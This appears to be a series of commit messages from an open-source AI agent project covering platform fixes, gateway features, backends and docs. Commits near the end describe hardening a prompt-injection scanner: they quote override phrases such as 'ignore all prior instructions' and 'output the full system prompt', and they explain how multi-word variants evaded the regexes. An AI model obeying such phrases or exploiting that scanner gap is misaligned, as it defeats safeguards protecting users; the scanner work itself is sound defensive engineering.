- Linux: xclip (apt install xclip)
- cli.py: BracketedPaste key handler checks clipboard on every paste,
image bar widget shows attached images, chat() converts to multimodal
content format, Ctrl+C clears attachments
Inspired by @m0at's fork (https://github.com/m0at/hermes-agent) which
implemented image paste support for local vision models. Reimplemented
cleanly as a separate module with tests.
Authored by alireza78a. When flock() raises on a concurrent tick, the
file descriptor was leaked because the except clause returned without
closing it. Adds lock_fd=None init and close in the except path.
On top of PR #460: self-hosted Firecrawl instances don't require an API
key (USE_DB_AUTHENTICATION=false), so don't force users to set a dummy
FIRECRAWL_API_KEY when FIRECRAWL_API_URL is set. Also adds a proper
self-hosting section to the configuration docs explaining what you get,
what you lose, and how to set it up (Docker stack, tradeoffs vs cloud).
Added 2 more tests (URL-only without key, neither-set raises).
Replaces the unsafe 128K fallback for unknown models with a descending
probe strategy (2M → 1M → 512K → 200K → 128K → 64K → 32K). When a
context-length error occurs, the agent steps down tiers and retries.
The discovered limit is cached per model+provider combo in
~/.hermes/context_length_cache.yaml so subsequent sessions skip probing.
Also parses API error messages to extract the actual context limit
(e.g. 'maximum context length is 32768 tokens') for instant resolution.
The CLI banner now displays the context window size next to the model
name (e.g. 'claude-opus-4 · 200K context · Nous Research').
Changes:
- agent/model_metadata.py: CONTEXT_PROBE_TIERS, persistent cache
(save/load/get), parse_context_limit_from_error(), get_next_probe_tier()
- agent/context_compressor.py: accepts base_url, passes to metadata
- run_agent.py: step-down logic in context error handler, caches on success
- cli.py + hermes_cli/banner.py: context length in welcome banner
- tests: 22 new tests for probing, parsing, and caching
Addresses #132. PR #319's approach (8K default) rejected — too conservative.
Adds optional FIRECRAWL_API_URL environment variable to support
self-hosted Firecrawl deployments alongside the cloud service.
- Add FIRECRAWL_API_URL to optional env vars in hermes_cli/config.py
- Update _get_firecrawl_client() in tools/web_tools.py to accept custom API URL
- Add tests for client initialization with/without URL
- Document new env var in installation and config guides
On Windows, open() defaults to the system locale encoding (cp1252,
cp1254, etc.) rather than UTF-8. This breaks any file containing
non-ASCII characters, and also causes crashes when writing JSON with
ensure_ascii=False.
This adds encoding="utf-8" to open() calls in:
- gateway/run.py (config.yaml reads/writes throughout)
- gateway/config.py (gateway.json and config.yaml)
- hermes_cli/config.py (config.yaml load/save)
- hermes_cli/main.py (session export with ensure_ascii=False)
- hermes_cli/status.py (jobs.json and sessions.json)
ptyprocess depends on Unix-only APIs (fork, openpty) and cannot work
on Windows at all. pywinpty provides a compatible PtyProcess interface
using the Windows ConPTY API.
This conditionally imports winpty.PtyProcess on Windows and
ptyprocess.PtyProcess on Unix. The pyproject.toml pty extra now uses
platform markers so the correct package is installed automatically.
fcntl is not available on Windows. This adds msvcrt.locking as a
fallback for cross-process advisory locking on Windows.
msvcrt.locking is not reentrant within the same thread, unlike fcntl.flock.
This matters because resolve_codex_runtime_credentials holds the lock and
then calls _save_codex_tokens, which tries to acquire it again. Without
reentrancy tracking, this deadlocks on Windows after a 15-second timeout.
Uses threading.local() to track lock depth per thread, allowing nested
acquisitions to pass through without re-acquiring the underlying lock.
Also handles msvcrt-specific requirements: file must be opened in r+ mode
(not a+), must have at least 1 byte of content, and the file pointer must
be at position 0 before locking.
The Daytona SDK's process.exec(timeout=N) parameter is not enforced —
the server-side timeout never fires and the SDK has no client-side
fallback, causing commands to hang indefinitely.
Fix: wrap commands with timeout N sh -c '...' (coreutils) which
reliably kills the process and returns exit code 124. Added
shlex.quote for proper shell escaping and a secondary deadline (timeout + 10s) that force-stops the sandbox if the shell timeout somehow fails.
Signed-off-by: rovle <lovre.pesut@gmail.com>
When an LLM returns null/empty tool call arguments, json.loads()
produces None. build_tool_preview then crashes with
"argument of type 'NoneType' is not iterable" on the `in` check.
Return None early when args is falsy.
state
- Replace logger.warning with warnings.warn for the disk cap so users
actually see it (logger was suppressed by CLI's log level config)
- Use SandboxState enum instead of string literals in
_ensure_sandbox_ready
Signed-off-by: rovle <lovre.pesut@gmail.com>
Add Daytona as a backend choice in the interactive setup wizard with
SDK installation and API key prompts. Show Daytona image in status
output and validate API key + SDK in doctor checks. Add OPTION 6
example in cli-config.yaml.example.
Signed-off-by: rovle <lovre.pesut@gmail.com>
Add Daytona to image selection, container_config guards, environment
factory, requirements check, and diagnostics in terminal_tool.py and
file_tools.py. Also add to sandboxed-backend approval bypass.
Signed-off-by: rovle <lovre.pesut@gmail.com>
New execution backend using the Daytona Python SDK. Supports persistent
sandboxes via stop/start lifecycle, interrupt handling, and automatic
retry on transient errors.
Signed-off-by: rovle <lovre.pesut@gmail.com>
Authored by 0xbyt4. Wraps commands with unique fence markers to isolate real output
from shell init/exit noise (oh-my-zsh, macOS session restore, etc.). Falls back to
expanded pattern-based cleaning. Also fixes BSD find fallback and test module shadowing.
Authored by PercyDikec. Fixes#437.
The retry path in _handle_max_iterations was missing the second if final_response:
guard after stripping <think> blocks, which could result in an empty assistant message
being appended to history instead of using the fallback message.
Authored by satelerd. Adds native WhatsApp media sending for images, videos,
and documents via MEDIA: tags. Also includes conflict resolution with edit_message
feature, Telegram hint fix (only advertise supported media types), and import cleanup.
Removed 10 markdown files (~4,200 lines) that have been fully migrated,
restructured, and accuracy-audited on the docs site at
hermes-agent.nousresearch.com/docs/
Left docs/README.md as a pointer to the website.
Updated CONTRIBUTING.md file tree reference.
Run pytest on Python 3.11 + 3.12 for every PR and push to main.
- Uses uv for fast dependency installation
- Excludes integration tests (need real API keys/services)
- Blanks API keys as safety net against accidental real API calls
- Concurrency: cancels in-progress runs when new commits are pushed
- 10 minute timeout (tests take ~77s)
- fail-fast disabled so both Python versions run independently
GitHub's default 'require approval for first-time contributors'
means maintainers approve CI before it runs on new contributors'
PRs, preventing abuse of CI resources.
Add a second checklist section covering common oversights seen in PRs:
- Update relevant docs (README, docs/, docstrings)
- Update cli-config.yaml.example when adding config keys
- Update CONTRIBUTING.md/AGENTS.md for architecture changes
- Consider cross-platform impact (Windows/macOS)
- Update tool schemas when changing tool behavior
Each item has an 'or N/A' option so contributors aren't blocked
on items that don't apply to their change.
The retry summary in _handle_max_iterations hardcodes max_tokens instead
of calling _max_tokens_param(). For direct OpenAI API users (gpt-4o,
o-series), the correct parameter name is max_completion_tokens. The first
attempt at line 2697 already uses _max_tokens_param correctly but the
retry path at line 2743 was missed.
- Installation: Remove PowerShell/CMD install commands, add WSL2 warning
- Quickstart: Replace PowerShell block with WSL2 tip
- Contributing: Update cross-platform section to clarify Windows unsupported
- Index: Update install description to say WSL2 instead of Windows
- Remove PowerShell and CMD tabs from hero and install sections
- Add WSL to the Linux/macOS tab label
- Update Windows notice: experimental/unsupported, recommend WSL2
- Add Docs nav link pointing to /docs/
- Clean up platform detection JS (always default to linux)
fuser command does not exist on Windows, causing orphaned bridge processes
to never be cleaned up. On crash recovery, the port stays occupied and the
next connect() fails with address-already-in-use.
Add _kill_port_process() helper that uses netstat+taskkill on Windows and
fuser on Linux/macOS. Replace both call sites in connect() and disconnect().
- 25 documentation pages covering Getting Started, User Guide, Developer Guide, and Reference
- Docusaurus with custom amber/gold theme matching the landing page branding
- GitHub Actions workflow to deploy landing page + docs to GitHub Pages
- Landing page at root, docs at /docs/ on hermes-agent.nousresearch.com
- Content extracted and restructured from existing repo docs (README, AGENTS.md, CONTRIBUTING.md, docs/)
- Auto-deploy on push to main when website/ or landingpage/ changes
Building on PR #288's edit_message() abstraction:
- Telegram: edit_message_text() with MarkdownV2 + plain text fallback
- Discord: channel.fetch_message() + msg.edit() with length capping
- Slack: chat_update() via slack_bolt client
Also fixes the fallback regression in send_progress_messages() where
platforms that don't support editing would receive duplicated accumulated
tool lines. Now uses a can_edit flag — after the first failed edit, falls
back to sending individual lines (matching pre-PR behavior).
Authored by satelerd. Adds edit_message() to BasePlatformAdapter and
implements it for WhatsApp via Baileys native editing. Progress messages
accumulate into a single live-updating message instead of N separate ones.
Cherry-picked from stale branch.
Instead of sending a separate WhatsApp message for each tool call during
agent execution (N+1 messages), the first tool sends a new message and
subsequent tools edit it to append their line. Result: 1 growing progress
message + 1 final response = 2 messages instead of N+1.
Changes:
- bridge.js: Add POST /edit endpoint using Baileys message editing
- base.py: Add optional edit_message() to BasePlatformAdapter (no-op
default, so platforms without editing support work unchanged)
- whatsapp.py: Implement edit_message() calling bridge /edit
- run.py: Rewrite send_progress_messages() to accumulate tool lines and
edit the progress message. Falls back to sending a new message if
edit fails (graceful degradation).
Before (5 tools = 6 messages):
⚕ Hermes Agent ─── 🔍 web_search... "query"
⚕ Hermes Agent ─── 📄 web_extract... "url"
⚕ Hermes Agent ─── 💻 terminal... "pip install"
⚕ Hermes Agent ─── ✍️ write_file... "app.py"
⚕ Hermes Agent ─── 💻 terminal... "python app.py"
⚕ Hermes Agent ─── Done! The server is running...
After (5 tools = 2 messages):
⚕ Hermes Agent ───
🔍 web_search... "query"
📄 web_extract... "url"
💻 terminal... "pip install"
✍️ write_file... "app.py"
💻 terminal... "python app.py"
⚕ Hermes Agent ─── Done! The server is running...
Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
Authored by rovle. Passes session_id as task_id to run_conversation()
in both CLI and gateway, so container backends (Docker/Modal/Singularity)
reuse the same sandbox across turns. Also passes task_id through to
_create_environment() in file_tools.py.
Cherry-picked from original PR branch (which had unrelated divergent
commits from the contributor's fork).
Authored by jdblackstar. Catches runtime exceptions from TerminalMenu
init (e.g. CalledProcessError from tput with unknown TERM like
xterm-ghostty over SSH) and falls through to the text-based menu.
Adds a /update command to Telegram, Discord, and other gateway platforms
that runs `hermes update` to pull the latest code, update dependencies,
sync skills, and restart the gateway.
Implementation:
- Spawns `hermes update` in a separate systemd scope (systemd-run --user
--scope) so the process survives the gateway restart that hermes update
triggers at the end. Falls back to nohup if systemd-run is unavailable.
- Writes a marker file (.update_pending.json) with the originating
platform and chat_id before spawning the update.
- On gateway startup, _send_update_notification() checks for the marker,
reads the captured update output, sends the results back to the user,
and cleans up.
Also:
- Registers /update as a Discord slash command
- Updates README.md, docs/messaging.md, docs/slash-commands.md
- Adds 18 tests covering handler, notification, and edge cases
When base_url points to a non-OpenRouter endpoint (e.g. Z.ai),
OPENROUTER_API_KEY incorrectly takes priority over OPENAI_API_KEY,
sending the wrong credentials. This causes 401 errors on the main
inference path and forces users to comment out OPENROUTER_API_KEY,
which then breaks auxiliary clients (compression, vision).
Fix: check whether base_url contains "openrouter" and swap the key
priority accordingly. Also adds GLM-4.7 and GLM-5 context lengths
to DEFAULT_CONTEXT_LENGTHS.
Follow-up to PR #267 merge:
- Fix CLI syntax: -k is keywords, -m is max results (was reversed)
- Add clear trigger condition: use only when web_search tool unavailable
- Remove misleading curl fallback (DuckDuckGo Instant Answer API is not
a web search endpoint)
- Fix package name: ddgs (renamed from duckduckgo-search)
- Add workflow section for search → web_extract pipeline
- Add pitfalls and limitations sections
- Fix author attribution to actual contributor
- Rewrite shell script as simple ddgs wrapper with availability check
Previously, pressing Ctrl+C while text was typed in the input prompt
would immediately exit Hermes. Now follows standard shell behavior:
- Text in buffer → Ctrl+C clears the line (like bash)
- Empty buffer → Ctrl+C exits
This means accidentally hitting Ctrl+C while composing a message just
clears the input instead of killing the session. A second Ctrl+C on
the empty prompt still exits as expected.
Authored by FarukEst. Fixes#392.
1. Initialize data={} before health-check loop to prevent NameError when
resp.json() raises after http_ready is set to True.
2. Extract _close_bridge_log() helper and call on all return False paths
to prevent file descriptor leaks on failed connection attempts.
Refactors disconnect() to reuse the same helper.
Authored by aydnOktay. Adds TimeoutError handling for session summarization,
better exception specificity in _format_timestamp, defensive try/except in
_resolve_to_parent, and type hints.
The flush_memories() and run_conversation() code paths already stripped
finish_reason and reasoning from API messages (added in 7a0b377 via PR
#253), but _handle_max_iterations() was missed. It was sending raw
messages.copy() which could include finish_reason, causing 422 errors
on strict APIs like Mistral when the agent hit max iterations.
Now strips the same internal fields consistently across all three API
call sites.
emojicombos.com has a huge curated collection of ASCII art, dot art,
kaomoji, and emoji combos searchable via web_extract with a simple
URL pattern: https://emojicombos.com/{term}-ascii-art
No API key needed. Returns modern/meme art, pop culture references,
and kaomoji alongside classic ASCII art. Added as Source A (recommended
first) before asciiart.eu (Source B, classic archive).
Also added GitHub Octocat API as a fun easter egg and kaomoji search
to the decision flow.
Adds 5 additional tools from the awesome-ascii-art ecosystem:
- cowsay: 50+ characters with speech/thought bubbles
- boxes: 70+ decorative border designs, composable with pyfiglet
- toilet: colored text art with rainbow/metal/border filters
- ascii-image-converter: modern image-to-ASCII (PNG/JPEG/GIF/WEBP)
- jp2a: lightweight JPEG-to-ASCII fallback
Also adds fun extras (Star Wars telnet), resource links, and
an expanded decision flow covering all 7 modes.
Ref: github.com/moul/awesome-ascii-art
Adds two primary modes on top of the original LLM-generation approach:
- Mode 1: pyfiglet (571 fonts, pip install, no API key) for text banners
- Mode 2: asciiart.eu search (11,000+ pieces) via web_extract for pre-made art
- Mode 3: LLM-generated art using Unicode palette (original PR, now fallback)
Includes decision flow, font recommendations, and category reference.
Authored by 0xbyt4.
The italic regex [^*]+ matched across newlines, corrupting bullet lists
using * markers (e.g. '* Item one\n* Item two' became italic garbage).
Fixed by adding \n to the negated character class: [^*\n]+.
Authored by 0xbyt4.
The dedup logic in GitHubSource.search() and unified_search() used
'r.trust_level == "trusted"' which let trusted results overwrite builtin
ones. Now uses ranked comparison: builtin (2) > trusted (1) > community (0).
Authored by 0xbyt4.
Two fixes:
- extract_images(): only remove extracted image tags, not all markdown image
tags. Previously  was silently dropped when real images
were also present.
- truncate_message(): walk chunk_body not full_chunk when tracking code block
state, so the reopened fence prefix doesn't toggle in_code off and leave
continuation chunks with unclosed code blocks.
Authored by 0xbyt4.
144 new tests covering gateway/pairing.py, tools/skill_manager_tool.py,
tools/skills_tool.py, honcho_integration/session.py, and
agent/auxiliary_client.py.
Authored by Farukest. Fixes#389.
Replaces hardcoded forward-slash string checks ('/.git/', '/.hub/') with
Path.parts membership test in _find_all_skills() and scan_skill_commands().
On Windows, str(Path) uses backslashes so the old filter never matched,
causing quarantined skills to appear as installed.
Authored by Farukest. Fixes#387.
Removes 'and not force' from the dangerous verdict check so --force
can never install skills with critical security findings (reverse shells,
data exfiltration, etc). The docstring already documented this behavior
but the code didn't enforce it.
Authored by Farukest. Fixes#385.
Replaces startswith() with Path.is_relative_to() in _check_structure()
symlink escape check — same fix pattern as skill_view() (PR #352).
Prevents symlinks escaping to sibling directories with shared name prefixes.
When the auxiliary client (used for context compression summaries) fails
— e.g. due to a stale OpenRouter API key after switching to a local LLM
— fall back to the user's active endpoint (OPENAI_BASE_URL) instead of
returning a useless static summary string.
This handles the common scenario where a user switches providers via
'hermes model' but the old provider's API key remains in .env. The
auxiliary client picks up the stale key, fails (402/auth error), and
previously compression would produce garbage. Now it gracefully retries
with the working endpoint.
On successful fallback, the working client is cached for future
compressions in the same session so the fallback cost is paid only once.
Ref: #348
Fixes a bug where the refresh token was not persisted when the API key
mint failed (e.g., 402 insufficient credits, timeout). The rotated
refresh token was lost, causing subsequent auth attempts to fail with
a stale token.
Changes:
- Persist auth state immediately after each successful token refresh,
before attempting the mint
- Use latest in-memory refresh token on mint-retry paths (was using
the stale original)
- Atomic durable writes for auth.json (temp file + fsync + replace)
- Opt-in OAuth trace logging (HERMES_OAUTH_TRACE=1, fingerprint-only)
- 3 regression tests covering refresh+402, refresh+timeout, and
invalid-token retry behavior
Author: Robin Fernandes <rewbs>
Authored by ch3ronsa. Fixes#348.
Adds 'context size' (LM Studio) and 'context window' (Ollama) to
context-length error detection phrases so local backend 400 errors
trigger compression instead of aborting. Also removes 'error code: 400'
from the non-retryable error list as defense in depth.
Some models send session_id as an integer instead of a string, causing
type errors downstream. Defensively cast session_id and write/submit
data args to str to handle non-compliant model outputs.
The error return (no final_response) was missing history_offset,
falling back to len(history) which has the same session_meta offset
bug fixed in PR #395. Now both return paths include the correct
filtered history length.
Authored by PercyDikec. Fixes#394.
The transcript extraction used len(history) to find new messages, but
history includes session_meta entries stripped before reaching the agent.
This caused 1 message lost per turn from turn 2 onwards. Fix returns
history_offset (filtered length) from _run_agent and uses it for the slice.
Implemented checks to ensure that necessary binaries (Docker, Singularity, SSH) are installed for the selected backend in the setup wizard. If a required binary is missing, the user is prompted to proceed with a fallback to the local backend. This enhances user experience by preventing potential runtime errors due to missing dependencies.
Two fixes for the case where a user switches to a model with a smaller
context window while having a large existing session:
1. Preflight compression in run_conversation(): Before the main loop,
estimate tokens of loaded history + system prompt. If it exceeds the
model's compression threshold (85% of context), compress proactively
with up to 3 passes. This naturally handles model switches because
the gateway creates a fresh AIAgent per message with the current
model's context length.
2. Error handler reordering: Context-length errors (400 with 'maximum
context length' etc.) are now checked BEFORE the generic 4xx handler.
Previously, OpenRouter's 400-status context-length errors were caught
as non-retryable client errors and aborted immediately, never reaching
the compression+retry logic.
Reported by Sonicrida on Discord: 840-message session (2MB+) crashed
after switching from a large-context model to minimax via OpenRouter.
get_definitions() already wrapped check_fn() calls in try/except,
but is_toolset_available() did not. A failing check (network error,
missing import, bad config) would propagate uncaught and crash the
CLI banner, agent startup, and tools-info display.
Now is_toolset_available() catches all exceptions and returns False,
matching the existing pattern in get_definitions().
Added 4 tests covering exception handling in is_toolset_available(),
check_toolset_requirements(), get_definitions(), and
check_tool_availability().
Closes#402
Local backends (LM Studio, Ollama, llama.cpp) return HTTP 400
with messages like "Context size has been exceeded" when the
context window is full. The error phrase list did not include
"context size" or "context window", so these errors fell through
to the generic 4xx abort handler instead of triggering compression.
Changes:
- Move context-length check above generic 4xx handler so it runs
first (same pattern as the existing 413 check)
- Add "context size" and "context window" to the phrase list
- Guard 4xx handler with `not is_context_length_error` to prevent
context-related 400s from being treated as non-retryable
The TextArea uses multiline=True, so up/down arrows only moved the
cursor within text — history browsing via FileHistory was attached
but inaccessible.
Two fixes:
1. Add up/down key bindings in normal input mode that call
Buffer.auto_up()/auto_down(). These intelligently handle both:
cursor movement when editing multi-line text, and history
browsing when on the first/last line.
2. Pass append_to_history=True to buffer.reset() in the Enter
handler so messages actually get saved to ~/.hermes_history.
History persists across sessions via FileHistory. The bindings are
filtered out during clarify, approval, and sudo prompts (which
have their own up/down handlers).
The transcript extraction used len(history) to find new messages, but
history includes session_meta entries that are stripped before passing
to the agent. This mismatch caused 1 message to be lost from the
transcript on every turn after the first, because the slice offset
was too high. Use the filtered history length (history_offset) returned
by _run_agent instead.
Also changed the else branch from returning all agent_messages to
returning an empty list, so compressed/shorter agent output does not
duplicate the entire history into the transcript.
The hidden directory filter used hardcoded forward-slash strings like
'/.git/' and '/.hub/' to exclude internal directories. On Windows,
Path returns backslash-separated strings, so the filter never matched.
This caused quarantined skills in .hub/quarantine/ to appear as
installed skills and available slash commands on Windows.
Replaced string-based checks with Path.parts membership test which
works on both Windows and Unix.
The docstring states --force should never override dangerous verdicts,
but the condition `if result.verdict == "dangerous" and not force`
allowed force=True to skip the early return. Execution then fell
through to `if force: return True`, bypassing the policy block.
Removed `and not force` so dangerous skills are always blocked
regardless of the --force flag.
The symlink escape check in _check_structure() used startswith()
without a trailing separator. A symlink resolving to a sibling
directory with a shared prefix (e.g. 'axolotl-backdoor') would pass
the check for 'axolotl' since the string prefix matched.
Replaced with Path.is_relative_to() which correctly handles directory
boundaries and is consistent with the skill_view path check.
session_search was returning the current session if it matched the
query, which is redundant — the agent already has the current
conversation context. This wasted an LLM summarization call and a
result slot.
Added current_session_id parameter to session_search(). The agent
passes self.session_id and the search filters out any results where
either the raw or parent-resolved session ID matches. Both the raw
match and the parent-resolved match are checked to handle child
sessions from delegation.
Two tests added verifying the exclusion works and that other
sessions are still returned.
Systematic audit of all prompt injection regexes in skills_guard.py
found 8 more patterns with the same single-word gap vulnerability
fixed in PR #192. Multi-word variants like 'pretend that you are',
'output the full system prompt', 'respond without your safety
filters', etc. all bypassed the scanner.
Fixed patterns:
- you are [now] → you are [... now]
- do not [tell] the user → do not [... tell ... the] user
- pretend [you are|to be] → pretend [... you are|to be]
- output the [system|initial] prompt → output [... system|initial] prompt
- act as if you [have no] [restrictions] → act as if [... you ... have no ... restrictions]
- respond without [restrictions] → respond without [... restrictions]
- you have been [updated] to → you have been [... updated] to
- share [the] [entire] [conversation] → share [... conversation]
All use (?:\w+\s+)* to allow arbitrary intermediate words.
The 'disregard ... instructions/rules/guidelines' regex had the
same single-word gap vulnerability as the 'ignore' pattern fixed
in PR #192. 'disregard all your instructions' bypassed the scanner.
Added (?:\w+\s+)* between both keyword groups to allow arbitrary
intermediate words.
Authored by 0xbyt4.
The 'ignore ... instructions' regex only matched a single word between
'ignore' and the keyword (previous/all/above/prior). Multi-word variants
like 'ignore all prior instructions' bypassed the scanner entirely.
Authored by mehmetkr-31. Related to #202.
Checks $SHELL env var first to pick the right config file (.zshrc
vs .bashrc) instead of relying on file existence, which could pick
the wrong file on macOS. Falls back to file-existence checks for
non-standard shells. Creates the config file with touch if it was
selected but doesn't exist yet.
Wrap session_count() in try/except so a DB error falls through to
the heuristic fallback instead of crashing. Added a detailed
docstring explaining why the DB approach is needed and the > 1
assumption (current session already exists when called).
Replace the string-based startswith + os.sep approach with
Path.is_relative_to() (Python 3.9+, we require 3.10+). This is
the idiomatic pathlib way to check path containment — it handles
separators, case sensitivity, and the equal-path case natively
without string manipulation.
Simplified tests to match: removed the now-unnecessary
test_separator_is_os_native test since is_relative_to doesn't
depend on separator choice.
The gateway health check broke out of the polling loop as soon as
the bridge HTTP server returned 200, regardless of the actual
WhatsApp connection status. This meant 'Bridge ready (status:
disconnected)' was printed and the gateway moved on, even when
WhatsApp never connected.
Additionally, bridge stdout/stderr were piped to DEVNULL, so if the
session had expired and the bridge needed a QR re-scan, the user had
no way to see that. The 'Scan QR code if prompted (check bridge
output)' message was misleading since there was no output to check.
Changes:
- Health check now has two phases: wait for HTTP (15s), then wait
for status:connected (15s more). Total 30s budget.
- Bridge output routes to ~/.hermes/whatsapp/bridge.log instead of
DEVNULL — QR codes, errors, reconnection msgs are preserved.
- Clear warnings with actionable steps if connection fails after 30s
(check bridge.log, re-pair with hermes whatsapp).
- Removed misleading 'Scan QR code' message.
- Log file handle properly cleaned up on disconnect.
Fixes#365
Introduced a new evaluation script for the OpenThoughts-TBLite environment, enabling users to run evaluations with customizable options. The script includes logging capabilities and real-time output, enhancing the evaluation process for terminal agents. This addition complements the existing benchmarking tools and improves usability for users.
Introduced a new evaluation environment for OpenThoughts-TBLite, including the main evaluation script, configuration YAML, and README documentation. This environment provides a faster alternative to Terminal-Bench 2.0, featuring 100 difficulty-calibrated tasks for terminal agents. The setup allows for easy evaluation and configuration, enhancing the benchmarking capabilities for terminal agents.
The session key construction logic was duplicated in 4 places
(session.py + 3 inline copies in run.py), which is exactly the
kind of drift that caused issue #349 in the first place.
Extracted build_session_key() as a public function in session.py.
SessionStore._generate_session_key() now delegates to it, and all
inline key construction in run.py has been replaced with calls to
the shared function. Tests updated to test the function directly.
Introduced interactive prompts for configuring container resource settings (CPU, memory, disk, persistence) during the setup wizard. Updated the default configuration to include these settings and improved user guidance on their implications for Docker, Singularity, and Modal backends. This enhancement aims to streamline the setup process and provide users with clearer options for resource management.
The previous implementation used `len(self._entries) > 1` to check if any
sessions had ever been created. This failed for single-platform users because
when sessions reset (via /reset, auto-reset, or gateway restart), the entry
for the same session_key is replaced in _entries, not added. So len(_entries)
stays at 1 for users who only use one platform.
Fix: Query the SQLite database's session count instead. The database preserves
historical session records (marked as ended), so session_count() correctly
returns > 1 for returning users even after resets.
This prevents the agent from reintroducing itself to returning users after
every session reset.
Fixes#351
On Windows, Python's open() defaults to the system locale encoding
(e.g. cp1254 for Turkish, cp1252 for Western European) instead of
UTF-8. The gateway already uses ensure_ascii=False in json.dumps()
to preserve Unicode characters in chat messages, but the
corresponding open() calls lack encoding="utf-8". This mismatch
causes UnicodeEncodeError / UnicodeDecodeError when users send
non-ASCII messages (Turkish, Japanese, Arabic, emoji, etc.) through
Telegram, Discord, WhatsApp, or Slack on Windows.
The project already fixed this for .env files in hermes_cli/config.py
(line 624) but the gateway module was missed.
Files fixed:
- gateway/session.py: session index + JSONL transcript read/write (5 calls)
- gateway/channel_directory.py: channel directory read/write (3 calls)
- gateway/mirror.py: session index read + transcript append (2 calls)
Enhanced the gateway setup process by including step-by-step setup instructions for Telegram, Discord, and Slack. Updated help prompts for environment variables to reference these new instructions, improving user guidance during the configuration of messaging platforms. This change aims to streamline the onboarding experience for users setting up their bots.
Enhanced the gateway setup process by introducing an allowlist feature for user IDs, improving security by denying access by default. Updated prompts to guide users in configuring allowed users for Telegram, Discord, and Slack platforms, and refined messaging for handling unauthorized users. This change aims to enhance user experience and security during the setup process.
Updated the gateway setup function to provide clearer messaging when no terminal is available, enhancing user understanding of the installation process. This change ensures that users are informed to run 'hermes gateway install' later if the setup is skipped due to terminal unavailability.
Updated the setup wizard to improve clarity around gateway service installation and management. Added prompts for users to install and start the gateway as a system service on Linux and macOS, while refining messaging for home channel configuration. This enhances the overall user experience during the setup process.
Updated the gateway setup function to provide clearer messaging regarding the installation status of the gateway service. Added prompts for installing the service as a background process on supported platforms (Linux and macOS) and clarified next steps for users. Improved user experience by offering options to start the service immediately or run it in the foreground.
Modified the _platform_status function in gateway.py to return uncolored plain-text status strings for platforms, ensuring compatibility with simple_term_menu items. Additionally, removed emoji characters from the status display in the gateway setup menu for improved readability.
Updated the interactive setup in hermes CLI to remove emoji characters from menu choices. This change addresses visual issues caused by emoji miscalculations during terminal redraws, ensuring a cleaner and more readable interface for users.
Enhanced documentation to reflect the new interactive setup command for configuring messaging platforms (Telegram, Discord, Slack, WhatsApp). Updated sections in AGENTS.md, README.md, and messaging.md to provide clear instructions on using the 'hermes gateway setup' command, improving user experience and accessibility for platform configuration.
Enhanced the hermes CLI gateway with a new 'setup' command to configure messaging platforms (Telegram, Discord, Slack, WhatsApp). This includes prompts for necessary environment variables and improved user experience for platform configuration. Updated documentation to reflect the new command.
Modified the setup wizard to ensure it only skips execution when no terminal is available, improving compatibility with piped installations. Additionally, updated environment variable checks to use bool() for accurate provider configuration detection, addressing potential issues with empty values in .env files.
Improvements to the HA integration merged from PR #184:
- Add ha_list_services tool: discovers available services (actions) per
domain with descriptions and parameter fields. Tells the model what
it can do with each device type (e.g. light.turn_on accepts brightness,
color_name, transition). Closes the gap where the model had to guess
available actions.
- Add HA to hermes tools config: users can enable/disable the homeassistant
toolset and configure HASS_TOKEN + HASS_URL through 'hermes tools' setup
flow instead of manually editing .env.
- Fix should-fix items from code review:
- Remove sys.path.insert hack from gateway adapter
- Replace all print() calls with proper logger (info/warning/error)
- Move env var reads from import-time to handler-time via _get_config()
- Add dedicated REST session reuse in gateway send()
- Update ha_call_service description to reference ha_list_services for
action discovery.
- Update tests for new ha_list_services tool in toolset resolution.
Authored by 0xbyt4. Adds smart home control via REST tools (ha_list_entities,
ha_get_state, ha_call_service) with domain blocklist and entity_id validation,
plus WebSocket gateway adapter for real-time event monitoring.
Also includes Gemini 3 thought_signature preservation fix (extra_content on
tool calls) needed for multi-turn tool calling via OpenRouter.
Improvements to all 5 skills adapted from obra/superpowers:
- Restored anti-rationalization tables and red flags from originals
(key behavioral guardrails that prevent LLMs from taking shortcuts)
- Restored 'Rule of Three' for debugging (3+ failed fixes = question
architecture, not keep fixing)
- Restored Pattern Analysis and Hypothesis Testing phases in debugging
- Restored 'Why Order Matters' rebuttals and verification checklist in TDD
- Added proper Hermes delegate_task integration with real parameter examples
and toolset specifications throughout
- Added Hermes tool usage (search_files, read_file, terminal) for
investigation and verification steps
- Removed references to non-existent skills (brainstorming,
finishing-a-development-branch, executing-plans, using-git-worktrees)
- Removed generic language-specific sections (Go, Rust, Jest) that
added bulk without agent value
- Tightened prose — cut ~430 lines while adding more actionable content
- Added execution handoff section to writing-plans
- Consistent cross-references between the 5 skills
In _handle_max_iterations, the codex_responses path set tools=None to
prevent tool calls during summarization. However, the OpenAI SDK's
_make_tools() treats None as a valid value (not its Omit sentinel) and
tries to iterate over it, causing TypeError: 'NoneType' object is not
iterable.
Fix: use codex_kwargs.pop('tools', None) to remove the key entirely,
so the SDK never receives it and uses its default omit behavior.
Fixes#300
Voice Mode → #314
Dogfood Skill → #315
The VISION.md doc is removed in favor of detailed, trackable GitHub
issues. Issues are assignable, discussable, and linkable to PRs.
On Windows systems where git can't write files (antivirus, NTFS filter
drivers), 'hermes update' now falls back to downloading a ZIP archive
from GitHub and extracting it over the existing installation.
The fallback triggers in two cases:
1. No .git directory (ZIP-installed via install.ps1 fallback)
2. Git pull fails with CalledProcessError on Windows
The ZIP update preserves venv/, node_modules/, .git/, and .env,
reinstalls Python deps via uv, and syncs bundled skills.
Also adds -c windows.appendAtomically=false to all git commands in
the update path for systems where git works but atomic writes fail.
Git for Windows can completely fail to write files during clone due to
antivirus software, Windows Defender Controlled Folder Access, or NTFS
filter drivers. Even with windows.appendAtomically=false, the checkout
phase fails with 'unable to create file: Invalid argument'.
New install strategy (3 attempts):
1. git clone with -c windows.appendAtomically=false (SSH then HTTPS)
2. If clone fails: download GitHub ZIP archive, extract with
Expand-Archive (Windows native, no git file I/O), then git init
the result for future updates
3. All git commands now use -c flag to inject the atomic write fix
Also passes -c flag on update path (fetch/checkout/pull) and makes
submodule init failure non-fatal with a warning.
Move Windows install location from ~\.hermes (user profile root) to
%LOCALAPPDATA%\hermes (C:\Users\<user>\AppData\Local\hermes).
The user profile directory is prone to issues from OneDrive sync,
Windows Defender Controlled Folder Access, and NTFS filter drivers
that break git's atomic file operations. %LOCALAPPDATA% is the
standard Windows location for per-user app data (used by VS Code,
Discord, etc.) and avoids these issues.
Changes:
- Default HermesHome to $env:LOCALAPPDATA\hermes
- Set HERMES_HOME user env var so Python code finds the new location
- Auto-migrate existing ~\.hermes installations on first run
